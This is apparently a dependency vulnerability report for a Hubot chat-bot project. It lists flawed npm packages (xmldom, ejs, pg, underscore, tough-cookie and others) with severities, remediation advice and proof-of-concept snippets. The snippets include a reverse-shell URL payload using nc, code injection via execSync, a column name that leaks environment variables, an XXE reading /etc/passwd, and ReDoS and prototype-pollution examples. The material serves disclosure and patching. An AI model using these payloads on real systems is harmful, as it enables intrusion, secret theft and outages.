Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: xmldom
- Introduced through: xmldom@0.1.16
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › xmldom@0.1.16
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Improper Input Validation due to parsing XML that is not well-formed, and contains multiple top-level elements. All the root nodes are being added to the childNodes
collection of the Document
, without reporting or throwing any error.
Workarounds
One of the following approaches might help, depending on your use case:
Instead of searching for elements in the whole DOM, only search in the
documentElement
.Reject a document with a document that has more than 1
childNode
.
PoC
var DOMParser = require('xmldom').DOMParser;
var xmlData = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<root>\n' +
' <branch girth="large">\n' +
' <leaf color="green" />\n' +
' </branch>\n' +
'</root>\n' +
'<root>\n' +
' <branch girth="twig">\n' +
' <leaf color="gold" />\n' +
' </branch>\n' +
'</root>\n';
var xmlDOM = new DOMParser().parseFromString(xmlData);
console.log(xmlDOM.toString());
This will result with the following output:
<?xml version="1.0" encoding="UTF-8"?><root>
<branch girth="large">
<leaf color="green"/>
</branch>
</root>
<root>
<branch girth="twig">
<leaf color="gold"/>
</branch>
</root>
Remediation
There is no fixed version for xmldom
.
References
critical severity
- Vulnerable module: form-data
- Introduced through: jsdom@0.2.14, twit@2.2.11 and others
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › jsdom@0.2.14 › request@2.88.2 › form-data@2.3.3
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › twit@2.2.11 › request@2.88.2 › form-data@2.3.3
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › coveralls@3.1.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › request@2.14.0 › form-data@0.0.10
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary
value, which uses Math.random()
. An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data
to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
high severity
- Vulnerable module: cross-spawn
- Introduced through: soupselect@0.2.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › foreground-child@1.5.6 › cross-spawn@4.0.2
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › foreground-child@1.5.6 › cross-spawn@4.0.2
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › spawn-wrap@1.4.3 › foreground-child@1.5.6 › cross-spawn@4.0.2
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn
to version 6.0.6, 7.0.5 or higher.
References
high severity
- Vulnerable module: xmldom
- Introduced through: xmldom@0.1.16
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › xmldom@0.1.16
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Prototype Pollution through the copy()
function in dom.js
. Exploiting this vulnerability is possible via the p
variable.
DISPUTED This vulnerability has been disputed by the maintainers of the package. Currently the only viable exploit that has been demonstrated is to pollute the target object (rather then the global object which is generally the case for Prototype Pollution vulnerabilities) and it is yet unclear if this limited attack vector exposes any vulnerability in the context of this package.
See the linked GitHub Issue for full details on the discussion around the legitimacy and potential revocation of this vulnerability.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for xmldom
.
References
high severity
- Vulnerable module: kerberos
- Introduced through: mongodb@1.4.7
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › mongodb@1.4.7 › kerberos@0.0.3Remediation: Upgrade to mongodb@2.0.0.
Overview
Affected versions of this package are vulnerable to DLL Injection. An attacker can execute arbitrary code by creating a file with the same name in a folder that precedes the intended file in the DLL path search.
Remediation
Upgrade kerberos
to version 1.0.0 or higher.
References
high severity
- Vulnerable module: pg
- Introduced through: pg@0.10.2
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › pg@0.10.2Remediation: Upgrade to pg@2.11.2.
Overview
pg is a non-blocking PostgreSQL client for node.js.
Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval
, and with a specially crafted column name, an attacker can cause code to run remotely on the server.
PoC:
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
});
Remediation
Upgrade pg
to version 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.1.2 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: soupselect@0.2.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › ejs@2.7.4
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs
to version 3.1.7 or higher.
References
high severity
- Vulnerable module: mongodb
- Introduced through: mongodb@1.4.7
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › mongodb@1.4.7Remediation: Upgrade to mongodb@3.1.13.
Overview
mongodb is an official MongoDB driver for Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mongodb
to version 3.1.13 or higher.
References
high severity
- Module: irc
- Introduced through: hubot-irc@0.2.9
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › hubot-irc@0.2.9 › irc@0.5.2
GPL-3.0 license
medium severity
- Vulnerable module: request
- Introduced through: jsdom@0.2.14, twit@2.2.11 and others
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › jsdom@0.2.14 › request@2.88.2
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › twit@2.2.11 › request@2.88.2
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › coveralls@3.1.1 › request@2.88.2
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › request@2.14.0
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js
file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request
package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: jsdom@0.2.14, twit@2.2.11 and others
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › jsdom@0.2.14 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › twit@2.2.11 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › coveralls@3.1.1 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: xmldom
- Introduced through: xmldom@0.1.16
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › xmldom@0.1.16
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements are removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.
Note: Customers who use "xmldom" package, should use "@xmldom/xmldom" instead, as "xmldom" is no longer maintained.
Remediation
There is no fixed version for xmldom
.
References
medium severity
- Vulnerable module: inflight
- Introduced through: soupselect@0.2.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › tap-mocha-reporter@3.0.9 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › test-exclude@5.2.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › istanbul-lib-source-maps@3.0.6 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › spawn-wrap@1.4.3 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: underscore
- Introduced through: cheerio@0.10.7 and underscore@1.3.3
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › cheerio@0.10.7 › underscore@1.4.4Remediation: Upgrade to cheerio@0.14.0.
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › underscore@1.3.3Remediation: Upgrade to underscore@1.12.1.
Overview
underscore is a JavaScript's functional programming helper library.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the template
function, particularly when the variable
option is taken from _.templateSettings
as it is not sanitized.
PoC
const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();
Remediation
Upgrade underscore
to version 1.13.0-2, 1.12.1 or higher.
References
medium severity
- Vulnerable module: xmldom
- Introduced through: xmldom@0.1.16
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › xmldom@0.1.16Remediation: Upgrade to xmldom@0.5.0.
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Does not correctly preserve system identifiers, FPIs or namespaces when repeatedly parsing and serializing maliciously crafted documents.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe
, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd
and display it to the user rendered by username
.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade xmldom
to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: soupselect@0.2.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › ejs@2.7.4
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty
method.
Remediation
Upgrade ejs
to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: xml2js
- Introduced through: xml2js@0.4.1
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › xml2js@0.4.1Remediation: Upgrade to xml2js@0.5.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__
property to be edited.
PoC
var parseString = require('xml2js').parseString;
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
}
update_user(normal_user_request);
update_user(malicious_user_request);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
